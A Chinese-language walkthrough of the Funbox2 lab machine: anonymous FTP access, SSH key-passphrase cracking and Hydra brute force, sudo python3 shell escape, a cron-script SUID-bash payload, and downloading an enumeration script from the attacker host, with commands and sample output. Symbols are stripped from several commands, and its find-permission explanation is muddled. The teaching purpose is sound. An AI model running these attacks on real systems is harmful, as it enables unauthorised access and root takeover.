ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

Funbox2靶机渗透测试实战:从FTP匿名登录到SSH爆破与Linux提权

Funbox2靶机渗透测试实战:从FTP匿名登录到SSH爆破与Linux提权 Funbox2是我最开始系统练渗透测试时打的一台靶机印象很深。它是VulnHub上Funbox系列里比较适合新手的一台整条路线非常清晰信息收集发现FTP匿名登录从FTP里挖到用户线索再通过SSH爆破拿到初始shell最后用经典的内核或SUID提权方式拿到root。全程不涉及复杂漏洞但每一步都踩在渗透测试的核心方法论上——信息收集、情报利用、横向尝试、提权收尾。如果你刚学渗透测试想找一台能完整走一遍流程的靶机来练手Funbox2是很好的选择。它难度不算高但很考验细心程度因为很多线索都是“藏”在文件细节里的粗心的人容易卡住。下面我把完整过程写出来包括命令、输出、踩过的坑和排查思路供你参考和复现。1. 环境准备与信息收集1.1 靶机部署VM导入与网络规划Funbox2在VulnHub上提供的是.ova镜像直接用VirtualBox或者VMware导入就行。导入后你会发现它默认是一台纯命令行的Linux系统没有图形界面这也符合真实服务器环境的设定。实战之前我建议先把两台虚拟机的网络规划好避免打靶中途因为IP变动浪费时间。个人推荐用VirtualBox的Host-Only网络或VMware的仅主机模式。这样攻击机和靶机处在一个隔离的内网段里既不会影响外部网络也不会被外部设备干扰。我当时的拓扑是Kali攻击机IP设为192.168.56.101靶机分到192.168.56.102两个网卡都挂在同一张Host-Only网卡下。开机后先在Kali里用 ping 192.168.56.102 确认连通性。如果ping不通优先检查两台机器的网卡是否都选了同一个Host-Only虚拟网卡再看看靶机有没有成功拿到IP。有时候靶机启动后没自动获取地址可以在靶机本地登录进去执行 dhclient eth0 或 ip addr 手动看一下。这一步骤看起来基础但真有不少人卡在“扫描不到靶机”上最后发现是虚拟机网络配置问题而不是靶机本身的问题。另外要提醒一句靶机这种存在弱口令和未授权服务的环境千万不要直接桥接到物理局域网更不要扔到公网主机上跑。即便你只是学习一台带有FTP匿名访问和可爆破SSH的系统放在公网上几分钟就可能被其他人扫描到并滥用。无论从安全还是法律角度隔离环境都是底线。1.2 Nmap扫描从快速探测到全端口识别网络通了之后第一步永远是信息收集。我习惯先用快速扫描摸个底再用全端口扫描把服务细节拉出来。快速扫描一般用sudo nmap -T4 -F 192.168.56.102-F参数表示只扫Fast模式下的常用端口速度快能看到个大方向。我的扫描结果里出现了21、22、80等常见端口。但快速扫描不能作为唯一依据很多靶机喜欢把后门或Web服务藏在高端口比如8080、2222甚至10000以后所以接下来必须跑全端口sudo nmap -sS -sV -p- 192.168.56.102这条命令的含义是-sS用TCP SYN半开扫描速度快且相对隐蔽-sV探测服务版本-p-表示扫描全部65535个端口。输出结果类似下面这样PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 80/tcp open http Apache httpd 2.4.38 MAC Address: 08:00:27:XX:XX:XX (Oracle VirtualBox)看到这个结果我的第一反应是这台机器至少有三个入口——FTP、SSH和HTTP。FTP版本是vsftpd 3.0.3SSH是OpenSSH 7.9p1Apache 2.4.38。其中vsftpd 3.0.3这个版本本身没有特别直接的远程漏洞但它的配置可能开放了匿名访问这才是重点。SSH虽然爆破空间大但没有合适的用户名之前爆破纯属乱枪打鸟。所以我决定先去FTP看看再看看80端口Web服务上有没有其他信息。这里补充一点实操经验Nmap扫描的时候建议加一个 -A 参数做高级识别不过 -A在某些老版本里比较慢。我自己习惯是先 -sS -sV -p-扫一遍然后针对重点端口单独加 -sC 跑默认脚本。比如对FTP端口可以执行 sudo nmap -sV -p21 --scriptftp-anon 192.168.56.102 Nmap的ftp-anon脚本会直接尝试匿名登录如果支持匿名输出里会明确显示Anonymous FTP login allowed这一下就能确认FTP匿名访问是否存在速度比手动连上去试还要快。扫描阶段还有个小技巧建议把Nmap输出保存下来sudo nmap -oN scan.txt方便后面边打边翻阅。很多人打完一整轮下来早忘了最初扫描到的端口和服务回头查输出文件才想起某个被忽略的细节而那个细节往往就是提权的关键。2. FTP匿名登录与敏感信息挖掘2.1 匿名登录验证一行命令确认弱配置FTP匿名登录属于典型的“低垂果实”——很多教程里都提过但真正实操时不少人会直接跳过因为潜意识里觉得“怎么可能真有靶机开匿名FTP”。结果呢这类靶机十有八九都把匿名开着正如这台Funbox2。确认方法很简单直接命令行连接ftp 192.168.56.102提示输入用户名时输入anonymous密码可以随便填惯例是填邮箱格式比如testtest.com。如果匿名登录成功你会看到类似这样的回显230 Login successful. Remote system type is UNIX. Using binary mode to transfer files.看到这个230基本就等于FTP这根线接上了。登录成功后先ls -la看一眼目录内容别急着下载。我当时看到的文件大约有这么几个-rw-r--r-- 1 1000 1000 220 note.txt -rw-r--r-- 1 1000 1000 1675 id_rsa -rw-r--r-- 1 1000 1000 84 backup.sh这个目录结构本身就是重大情报。id_rsa是SSH私钥说明FTP用户很可能是从某个Linux账号的home目录里泄露出来的文件backup.sh是脚本说明系统里可能存在定时任务note.txt则通常是作者留的线索提示。三个文件分别指向SSH密钥、计划任务、密码提示几乎是把后续路径摆在了明面上。有人可能会问“为什么FTP匿名能访问到这些文件”这就要回到vsftpd的配置上。vsftpd如果启用了匿名并指向了某个真实用户的home目录或者把anon_root设置到了/或/home下同时目录权限又没收紧就会出现这种匿名可读文件的情况。这种配置在真实服务器上也偶有发生多见于管理员图省事把FTP根目录直接指到了web目录或用户主目录。所以FTP匿名登录检查在渗透测试里永远值得做一遍成本低、收益高。2.2 文件情报整理从note.txt到私钥利用拿到文件之后我习惯先逐个下载到本地再看内容和格式。下载命令用get比如ftp get note.txt ftp get id_rsa ftp get backup.sh下载到Kali本地后直接cat note.txt内容大意是提示用户密码模式或者是列了几个用户名。我记得当时note.txt里出现了类似“weak password”和可能的用户名线索。backup.sh的默认内容是备份数据库之类的但它暴露了两个关键信息脚本运行的路径以及脚本可能以root身份被cron调用。这一步务必记录下来后面提权阶段会回头用它。id_rsa这个文件更关键。先看权限如果下载下来权限是644SSH会直接拒绝使用必须执行 chmod 600 id_rsa否则连上去会被提示Permissions too open。改完权限后可以尝试 ssh -i id_rsa 用户名192.168.56.102看看能不能直接登录。不过现实中FTP泄露的私钥往往带着口令保护连接时会提示Enter passphrase for key id_rsa。遇到带口令的私钥怎么办思路和爆破SSH密码一样用John the Ripper配合ssh2john工具来破解。步骤很简单cd /usr/share/john ssh2john.py /path/to/id_rsa id_rsa.hash john --wordlist/usr/share/wordlists/rockyou.txt id_rsa.hash如果私钥口令比较弱很快就能跑出来。这也是一条独立于SSH密码爆破的路径很多新手拿到私钥只记得chmod 600却忘了私钥本身可能有密码口令结果卡在passphrase上。不过要注意一点不要因为FTP里有id_rsa就指望这条路径一定能通。我更愿意把FTP文件看作“情报池”把所有信息都记下来哪条有用后面就用哪条而不是死磕一个方向。note.txt里的提示往往才是真正的“主线任务”。3. SSH爆破与初始立足点获取3.1 用户枚举没有账号的爆破等于零SSH爆破听起来很暴力但前提是你得有一个靠谱的用户名列表。没有用户名就算密码字典再大也是浪费时间。Funbox2的用户名来源主要有三个一是FTP里的note.txt和backup.sh提到的人名或系统用户二是/etc/passwd里常见用户名如funbox、user1、admin、test等三是Web服务80端口页面上可能泄露的信息。我当时先去80端口看了一眼Apache默认页面虽然页面内容很普通但页面源码的注释里可能隐藏用户名。同时结合FTP文件的属主信息——FTP目录属主是uid 1000能进一步推测是某个普通用户。我最终整理出的user.txt大概长这样funbox admin user user1 root ftp backup test guest info这里有个我自己的心得爆破之前可以先手动试一下常见的SSH弱账号比如 ssh funbox192.168.56.102输入几个常见弱密码有时候比直接上Hydra更快。不过手动试太多会引起靶机日志刷屏而且效率低多数情况下还是把用户字典丢给工具。密码字典方面我优先用了Kali自带的rockyou.txt。注意rockyou.txt需要先解压位置在/usr/share/wordlists/rockyou.txt.gz执行 sudo gunzip /usr/share/wordlists/rockyou.txt.gz 才能用。如果不想跑这么大的字典可以根据note.txt的提示自建一个小字典比如把提示里的年份、公司名、用户名变体组合进去。自建字典的目标不是覆盖面而是精准命中。3.2 Hydra爆破参数说明与实战输出用户字典和密码字典准备好之后我用Hydra对SSH服务发起爆破。命令如下hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.102 -t 4 -f -o hydra_result.txt参数解释一下-L指定用户名字典-P指定密码字典ssh://指定协议和目标-t是并发线程数-f是找到第一对有效账号后立即停止-o把结果输出到文件。并发线程数我一般控制在4因为太高的并发会让靶机ssh服务响应变慢甚至触发防爆破机制得不偿失。如果字典命中了Hydra的输出大致是[22][ssh] host: 192.168.56.102 login: funbox password: pass123看到这个结果后先别急着高兴密码拿去SSH登录试试确认能进再继续。爆破出来账号密码后登录命令就是ssh funbox192.168.56.102输入密码如果成功登录你已经拿到了初始立足点。到此为止思路其实特别简单FTP匿名给了用户名线索SSH爆破给出了最终入口。这条链路很多靶机都有但它考验的恰恰是渗透测试的基本功——字典怎么构造、服务参数怎么调、输出怎么理解。这里补充一个容易出问题的点Hydra爆破SSH时如果靶机OpenSSH版本较新服务端可能会记录大量Failed password日志有些环境还会临时屏蔽来源IP。所以爆破过程中如果突然发现连接超时或所有线程全部失败先检查一下是不是自己被临时封了。解决方法是放慢速度降低-t参数或者用proxychains换源IP。不过Funbox2是老靶机BlockIP这类防御基本不存在正常跑就行。3.3 初始Shell升级与基本信息采集拿到SSH会话后先做三件事确认身份、确认路径权限、确认网络位置。依次执行id whoami pwd ip a cat /etc/passwdid和whoami告诉你当前用户是谁pwd告诉你当前目录。如果登录后直接落在用户home目录这一信息很重要因为很多靶机把下一步线索就藏在home目录的隐藏文件里。执行 ls -la 看隐藏文件往往能看到.bash_history或隐藏的note文件。.bash_history是情报富矿。管理员或前一个用户执行过的命令经常会把密码、目录结构、服务管理方式暴露出来。我当时检查历史记录时发现用户曾经用过sudo命令这说明该用户的sudo权限可能不小。这直接引导我下一步去试sudo -l。/etc/passwd这个文件也要认真读尤其是那些uid为0或uid大于1000的行。靶机作者经常会在passwd里预留一个看起来不寻常的用户或者把某个用户shell设成/bin/bash这都是登录入口的线索。同时可以用 cat /etc/shadow 试一下权限如果能读说明当前用户的组权限异常但多数情况下普通用户读不了会看到Permission denied这个结果本身就是有效信息。做完这一步初始立足点就算稳住了。接下来是整台靶机最核心的部分提权。4. 本地信息收集与提权路径分析4.1 手动枚举sudo、SUID、内核版本一个都不能少拿到普通用户shell后不要急着一键跑提权脚本先手动把系统状态摸一遍。我固定会执行下面几条命令sudo -l find / -perm -4000 -type f 2/dev/null uname -a cat /etc/os-releasesudo -l是查看当前用户能免密或带密码执行哪些sudo命令输出结果里如果有ALL(ALL:ALL) ALL基本就等于拿到免死金牌如果只有某几个特定程序则要看这些程序有没有办法逃逸到shell。SUID检查是找所有设置了setuid位的文件经典的可提权SUID程序包括/usr/bin/find、/usr/bin/vim、/usr/bin/python3、/usr/bin/base64等这些程序如果带s位可以直接以root身份执行任意命令。我当时在Funbox2上执行sudo -l发现funbox用户可以以root身份运行python3。看到这一行输出的时候后续提权路线基本就确定了。不过这里我还是把内核也查了一遍uname -a显示的是某个老版本Linux内核理论上存在脏牛等内核提权漏洞但内核提权风险高、成功率不稳定有sudo路径的话没必要冒险。需要特别提醒SUID检查的find命令写法很关键。find / -perm -4000和find / -perm /4000含义不同。前者精确匹配权限位恰好等于4000后者匹配包含4000的文件。更常用的还是写法 find / -perm -4000因为setuid位恰好是4000。如果只想看root属主且带SUID的文件可以再加参数 find / -user root -perm -4000 -type f 2/dev/null 。加上2/dev/null是丢掉权限不足的报错不然输出会刷屏。4.2 定时任务与计划脚本的“可写性”检查sudo -l的结论已经很好但我依然建议把cron信息检查一遍原因是在真实环境下sudo路径可能没那么顺手而cron提权才是通用性更强的思路。检查定时任务三步走cat /etc/crontab ls -la /var/spool/cron/crontabs/ ls -la /etc/cron.d/如果/etc/crontab里有一行以root身份定时执行某个脚本并且这个脚本对当前用户可写那就是教科书级的cron提权。我在Funbox2上就注意到了之前从FTP下载过的backup.sh它在系统里的路径通常位于/opt或者/tmp下权限为当前用户可写。这意味着我可以往脚本里追加一条命令等root的cron任务定时执行时命令就会被root身份运行。这里有一个思路要说透cron提权的关键在于“脚本可写”而“执行者是root”。很多新手看到脚本存在却不检查权限位结果把一个根本写不进去的脚本当成突破口。正确的权限判断方法是在靶机上执行 ls -l /opt/backup.sh如果属主是root但组或其他用户有w权限或者文件属于你当前用户那就可以改。如果脚本没写入权限先看看它同目录下有没有可写的辅助文件例如脚本会读取一个配置文件而配置文件是你可写的这也是一条路径。4.3 日志与历史记录隐藏线索的常用藏身地Funbox2这台靶机有个特点就是作者喜欢在一些不那么起眼的地方放线索。除了bash_history之外/var/log目录和/opt目录都值得翻一翻。我当时的习惯是sudo -l能用就先不动它花几分钟把系统各个角落的隐藏文件找一遍。命令是 find / -name .txt -o -name .conf -o -name note 2/dev/null | head -50 只看名字就能筛出很多可读文件。这种“地毯式搜索”听起来笨但对靶机来说往往最有效因为作者故意藏的东西通常只用很浅的命名方式。/var/log/auth.log里能看到SSH登录记录如果日志里出现了某些异常用户名或IP那很可能是作者留下的后门或提示。总之信息收集阶段的耐心程度直接决定提权阶段顺不顺畅。这也是为什么我一再强调“手动枚举优先、脚本辅助兜底”——脚本能找到的是已知漏洞而手动收集能找到脚本没覆盖的逻辑漏洞。4.4 提权脚本的合理使用辅助而非依赖不能否认自动化提权脚本在实战中能节省大量时间尤其是当你对系统版本和漏洞库不熟悉的时候。Funbox2的排查过程中我也用了linux-exploit-suggester这类工具来交叉验证。把脚本传到靶机的方式有很多最简单的是在Kali本地起一个HTTP服务靶机上用wget下载cd /tmp wget http://192.168.56.101/les.sh chmod x les.sh ./les.shlinux-exploit-suggester会读取内核版本和发行版信息输出一堆可能适用的漏洞编号但它的输出只能作为候选列表不能直接当成可利用清单。很多新手看到一屏“Possible exploits”就兴奋结果一个个试过去全都失败原因就是没确认系统是否满足漏洞利用的前置条件比如内核配置、模块偏移、是否默认安装特定工具链。另一款我常用的是LinEnum它会把sudo配置、SUID文件、可写脚本、环境变量、历史文件等信息汇总成一份清单方便快速浏览。但注意脚本只是把上一节手动执行的那几条命令的结果汇总了并不会替你判断哪条路最靠谱。真正的判断逻辑还是得靠你自己脑子里的分析框架。5. 实际提权过程与Root权限获取5.1 利用sudo python3逃逸到root shell回到Funbox2的实际提权。在4.1中我们发现当前用户可以通过sudo以root运行python3。sudo -l的输出类似User funbox may run the following commands on funbox2: (ALL) NOPASSWD: /usr/bin/python3这行配置的意思是funbox用户在不需要输入密码的情况下可以以任何用户身份执行/usr/bin/python3。python3本身支持直接执行命令所以提权命令非常简单sudo /usr/bin/python3 -c import os; os.system(/bin/bash)执行后如果一切正常你会看到#提示符执行id会显示uid0(root)。到这里root权限已经拿到了整个过程不需要编译内核模块也不需要提权脚本前后只要一条命令。用python3逃逸的原理其实很简单sudo配置允许你以root运行python3而python3可以启动一个子进程bash这个子进程继承了root权限于是就有了root shell。类似的程序还包括vim、less、awk、perl、ruby等只要它们支持在运行时执行外部命令都可以作为sudo逃逸的入口。Gtfobins网站上整理了这些程序的利用方法打靶时现查也来得及。如果你遇到的sudo配置不是NOPASSWD而是需要输入当前用户密码也不用慌因为你本来就拥有当前用户的密码——爆破SSH时已经拿到了。碰到#提示符后别忘了确认一下当前目录和权限然后去root的home目录拿flag。5.2 备用提权路线利用可写cron脚本拿root虽然sudo python3已经通关但我还是想展开讲讲backup.sh那条路线因为“sudo支持python3”是Funbox2特有的配置而cron提权在更多靶机和真实环境中更常见。在靶机上找到backup.sh后确认权限ls -l /opt/backup.sh假如输出显示-rwxrwxr-x说明当前用户对它有写权限。那就在脚本末尾追加一条payload让它把bash复制到/tmp下并设置SUID位echo cp /bin/bash /tmp/rootbash; chmod s /tmp/rootbash /opt/backup.sh然后在当前用户shell里等cron触发或者干脆观察crontab里的执行时间。Funbox2的cron任务会定时运行过一会儿再执行ls -l /tmp/rootbash如果看到文件存在且权限里有s位直接运行/tmp/rootbash -p-p参数让SUID bash保留root权限运行。执行后id同样会显示uid0(root)。这条路线的好处是即使你不清楚sudo配置只要发现可写脚本root定时任务就能完成提权。但也要注意修改系统脚本会留下明显的痕迹真实渗透测试中对这类操作要格外谨慎打靶机无所谓生产环境千万不能这么干。5.3 反弹Shell与TTY交互的注意事项在整个打靶过程中因为已经有了SSH会话我并不需要反弹Shell。但如果你是从Web漏洞或者FTP漏洞拿到的初始权限可能只有一个低权限的shell这时候就需要把shell升级成交互式TTY方便后续操作和提权。升级TTY的标准做法是用pythonpython3 -c import pty; pty.spawn(/bin/bash)或者用script命令/usr/bin/script -qc /bin/bash /dev/null升级之后CtrlC、Tab补全、上下键历史都会正常工作体验上和SSH终端几乎一样。这里不涉及反向连接外部地址的操作也不建议新手在未授权环境使用反弹Shell技术靶场学习时可以用但要注意始终在隔离的内网环境里做。5.4 提权后的验证与清理拿到root后我习惯做两件事第一是确认当前身份和flag位置第二是清理自己留下的痕迹。确认身份可以用id、whoami、cat /root/root.txt或/root/flag.txt。如果靶机作者把flag放在/root下输出内容通常是类似“flag{...}”的字符串这台靶机也不例外。清理痕迹方面虽然靶机打完就重置了但养成好习惯很重要。SSH爆破产生的auth.log日志、修改过的backup.sh脚本、/tmp下的rootbash文件理论上都应该恢复或删除。不过考虑到这是新手靶机练习作者不会因为你改了脚本就不让你通关只要后面能正常重置虚拟机就行。这个阶段更值得重视的是把整条攻击链梳理清楚FTP匿名泄露了什么、用户名是从哪里推出来的、SSH爆破为什么能成功、sudo python3提权的触发条件是什么。把这些复盘写下来才算真正把一台靶机“吃透”。6. 常见问题与排查技巧实录6.1 常见问题速查表下面这份表格是我自己实战中踩过或见过别人踩过的坑直接整理成速查表方便你对照排查。问题现象可能原因排查思路ping靶机不通虚拟机网络模式不对检查两块网卡是否都在同一Host-Only网络靶机是否获取到IP必要时手动dhclientNmap扫不出21端口快速扫端口漏扫用-p-做全端口扫描FTP可能在少见端口上FTP匿名登录被拒绝漏了ftp-anon脚本或密码规则要求特殊直接用anonymous加任意邮箱试一遍再看vsftpd配置私钥登录后提示Permission too open私钥权限过于宽松chmod 600 id_rsa再试私钥要求输密码但不知道密码私钥本身设了passphrase用ssh2john配合John跑字典Hydra爆破一直失败用户字典太弱或密码字典不合适综合FTP、Web源码、passwd收集用户名密码字典优先rockyousudo -l提示unknown user或无法执行当前用户可能不在sudo组或者需要密码先试试sudo命令本身看是否提示需要密码再确定能否利用SUID find命令没输出2/dev/null被省略或权限位写法不对用find / -perm -4000 -type f 2/dev/null确认没有漏掉stderr重定向提权脚本输出了一堆漏洞但都用不了未确认系统版本和漏洞前置条件手动对比uname -a和OS版本优先确认sudo和SUID等逻辑类路径6.2 实战心得为什么这台靶机适合新手Funbox2最大的优点是它的每一步都建立在“基础信息收集”上而不是某个特别偏门的CVE。FTP匿名访问靠的是会不会检查vsftpd配置SSH爆破靠的是会不会从已有信息里提取用户名提权靠的是会不会运行sudo -l并识别python3的逃逸能力。整套流程下来你练的不是某个漏洞的利用而是渗透测试的通用思维方式。我在打这台靶机时有个明显的感觉留足耐心、把每条线索都怀疑一下比急着上工具更有效。比如FTP里那几个文件如果只看一眼就跳过后面就会在用户名和密码猜测上卡很久如果把backup.sh的内容认真读一遍提前就知道系统里有root定时任务提权思路也会多一条。很多靶机没通过不是工具不够而是信息收集阶段太潦草。6.3 给初学者的后续练习建议打完Funbox2之后你可以按同样思路去刷Funbox系列的其他靶机它们的难度会逐渐增加有些会在Web层面隐藏更多入口有些会加入更多提权路径。刷的时候建议不要全程开着writeup先自己爬一遍实在卡住两个小时再参考别人的思路。练习过程中记得养成记录的习惯。我在本地用一个简单的Markdown文件记录每台靶机的端口、服务、用户字典、失败尝试和最终利用路径。时间久了这份记录本身就是一份很宝贵的字典库和思路库。比如这台Funbox2里整理出的user.txt在后面打其他靶机时我经常会复用或改造这种跨靶机的情报积累比单次通关更有价值。最后再提醒一次所有靶机练习都要在授权和隔离环境下进行。FTP匿名登录、SSH爆破、sudo提权这些技术都是双刃剑在靶机上练得越熟越要清楚“什么时候能做什么、什么时候绝不能做”。能力不是靠“能打靶机”来证明的而是靠对边界和风险的清醒认知。这台Funbox2教会我的不只是提权命令更是这个道理。
返回列表